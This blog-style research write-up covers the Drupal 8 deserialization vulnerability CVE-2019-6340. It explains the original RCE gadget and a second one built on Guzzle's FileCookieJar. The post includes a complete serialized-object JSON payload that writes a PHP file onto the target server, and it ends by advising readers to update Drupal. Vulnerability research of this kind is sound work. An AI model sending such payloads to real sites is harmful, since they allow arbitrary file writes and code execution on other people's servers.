Another attack vector of CVE-2019-6340
Trung Nguyen

Summary
In February 2019, Samuel Mortenson from Drupal security team discovered a critical vulnerability in this CMS, identified as CVE-2019-6340 or SA-CORE-2019-003. This vulnerability is a kind of object injection vulnerability which my colleague mentioned in a previous research.
According to the original research, this vulnerability enables a remote code execution attack by taking advantage of the existence of module RESTful Web Services
and the acceptance of HTTP method GET, PATCH and POST. I have found another way to exploit this vulnerability and will cover the following details.
The original research
Let take a look at object injection vulnerability, in order to exploit this flaw, the target have to:
- own an
unserialize
function and its input can be controlled by attackers - own an magic method (
destruct()
,wakeup()
) which carry out dangerous statements.
In Drupal version 8, we have such a unserialize
function in LinkItem class
// Treat the values as property value of the main property, if no array is // given.
if (isset($values) && !is_array($values)) {
$values = [static::mainPropertyName() => $values];
}
if (isset($values)) {
$values += [
'options' => [],
];
}
// Unserialize the values.
// @todo The storage controller should take care of this, see
// SqlContentEntityStorage::loadFieldItems, see
// https://www.drupal.org/node/2414835
if (is_string($values['options'])) {
$values['options'] = unserialize($values['options']);
}
parent::setValue($values, $notify);
}
}
Luckily, the $values['options']
is a value passed from client via API endpoint so anyone can control it, thanks RESTful Web Services for this feature.
Regarding the magic method, Samuel Mortenson used a destruct function in Fnstream.php, in which call_user_func
can can execute any php function as its input.
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
Finally, attackers can build an RCE payload as follows (PHPGGC helped us in this work)

Another attack vector
Based on the original idea, I tried to find another magic method in Drupal. By grepping
, I found that FileCookieJar.php is also a great alternative. Its destruct method is not able to directly execute commands, but can write files and execute commands through those files.
public function __destruct()
{
$this->save($this->filename);
}
/**
* Saves the cookies to a file.
*
* @param string $filename File to save
* @throws \RuntimeException if the file cannot be found or created
*/
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
```
This method requires two parameters. The first is a local file and the second is a destination path (we must know the full path).
My payload is simply create a phpinfo file in the target, it is as follows
{
"link": [
{
"value": "link",
"options": "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000filename\";s:42:\"\/Users\/duy\/Desktop\/drupal-8.6.9\/hacked.php\";s:52:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000storeSessionCookies\";b:1;s:36:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\u0000GuzzleHttp\\Cookie\\SetCookie\u0000data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:18:\"<?php phpinfo();?>\";}}}s:39:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000strictMode\";N;}"
}
],
"_links": {
"type": {
"href": "http://domain.tld/drupal-8.6.9/rest/type/shortcut/default"
}
}
}

I got the result

tldr;
This flaw was marked as highly critical and quickly patched by Drupal team. To avoid being attacked, let update your drupal to the latest version.